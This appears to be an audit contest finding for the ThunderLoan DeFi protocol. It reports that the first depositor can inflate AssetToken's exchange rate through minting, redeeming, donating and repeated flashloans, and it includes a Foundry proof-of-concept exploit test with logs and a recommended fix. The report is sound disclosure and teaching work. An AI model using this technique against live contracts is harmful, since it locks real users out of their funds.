Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Malicious users can DOS the protocol by manipulating the exchangeRate

Summary

The first user in AssetToken is able to manipulate the exchangeRate to a considerably high value at almost no cost, preventing other users from interacting with the protocol normally.

Vulnerability Details

The first user in AssetToken can manipulate assetToken.totalSupply() to a very small value through a process of minting and redeeming.

Subsequently, by donating a sum of money to AssetToken and borrowing the donated funds through the flashloan, assetToken.updateExchangeRate(fee) is triggered.

Since assetToken.totalSupply() is almost zero at this point, the calculation method for assetToken.exchangeRate allows a very small fee to exponentially increase the exchange rate.

uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();

By repeating this flashloan process, the assetToken.exchangeRate can be manipulated to an extremely large number, resulting in other users being unable to obtain any AssetToken shares when depositing funds, causing the protocol to become inoperable.

PoC

Add this file to test/unit

pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract ThunderLoanDosTest is BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 1000;
address liquidityProvider = address(123);
address exploiter = address(456);
address victim = address(789);
address user = address(987);
MockFlashLoanExploiter mockFlashLoanReceiver;
function setUp() public override {
super.setUp();
vm.prank(user);
}
modifier setAllowedToken() {
vm.prank(thunderLoan.owner());
thunderLoan.setAllowedToken(tokenA, true);
_;
}
function testExploitDos() public setAllowedToken {
console.log("stage-1: manipulate totalSupply&underlyingTokenBalance");
vm.startPrank(exploiter);
tokenA.mint(exploiter, 334);
tokenA.approve(address(thunderLoan), 334);
thunderLoan.deposit(tokenA, 334);
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
uint256 exchangeRate = asset.getExchangeRate();
uint256 redeemAbleAmount = 334 * 1e18 / exchangeRate;
thunderLoan.redeem(tokenA, redeemAbleAmount);
emit log_named_decimal_uint("AssetToken totalSupply", asset.totalSupply(), asset.decimals());
emit log_named_decimal_uint("AssetToken underlying token balance", tokenA.balanceOf(address(asset)), tokenA.decimals());
console.log("\n stage-2: donate fund, repeat flashloan muptiple times to increase exchangeRate");
mockFlashLoanReceiver = new MockFlashLoanExploiter(address(asset));
tokenA.mint(exploiter, 100 + 334);
tokenA.transfer(address(mockFlashLoanReceiver), 100); // flashLoan fee
tokenA.transfer(address(asset), 334); // donate fund
for(uint i; i < 100; ++i) {
thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, 334, ""); // flashloan to increase exchangeRate
}
console.log("Protocol exchangeRate", asset.getExchangeRate()/1e18);
emit log_named_decimal_uint("AssetToken totalSupply", asset.totalSupply(), asset.decimals());
emit log_named_decimal_uint("AssetToken underlying token balance", tokenA.balanceOf(address(asset)), tokenA.decimals());
vm.stopPrank();
console.log("\n stage-3: victim deposit ");
vm.startPrank(victim);
tokenA.mint(victim, DEPOSIT_AMOUNT);
tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
emit log_named_decimal_uint("The victim token deposit amount", DEPOSIT_AMOUNT, tokenA.decimals());
emit log_named_decimal_uint("The amount of assetToken token in victim", asset.balanceOf(victim), asset.decimals());
vm.stopPrank();
}
}
contract MockFlashLoanExploiter {
address asset;
constructor(address a) {
asset = a;
}
function executeOperation(
address token,
uint256 amount,
uint256 fee,
address initiator,
bytes calldata /* params */
)
external
returns (bool)
{
IERC20(token).transfer(asset, amount + fee);
return true;
}
}

Output

Logs:
stage-1: manipulate totalSupply&underlyingTokenBalance
AssetToken totalSupply: 0.000000000000000001
AssetToken underlying token balance: 0.000000000000000001
stage-2: donate fund, repeat flashloan muptiple times to increase exchangeRate
Protocol exchangeRate 1271445961306757034192412980198
AssetToken totalSupply: 0.000000000000000001
AssetToken underlying token balance: 0.000000000000000435
stage-3: victim deposit
The victim token deposit amount: 10000.000000000000000000
The amount of assetToken token in victim: 0.000000000000000000

The PoC only demonstrates the most basic scenario, and the severity of the harm can be increased by raising the fee paid with each flashloan.

Impact

Protocol will be broken.

Tools Used

Manual review

Recommendations

Add checks to ensure that the token amount of each flashloan is not greater than (assetToken.totalsupply * assetToken.exchangeRate).

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.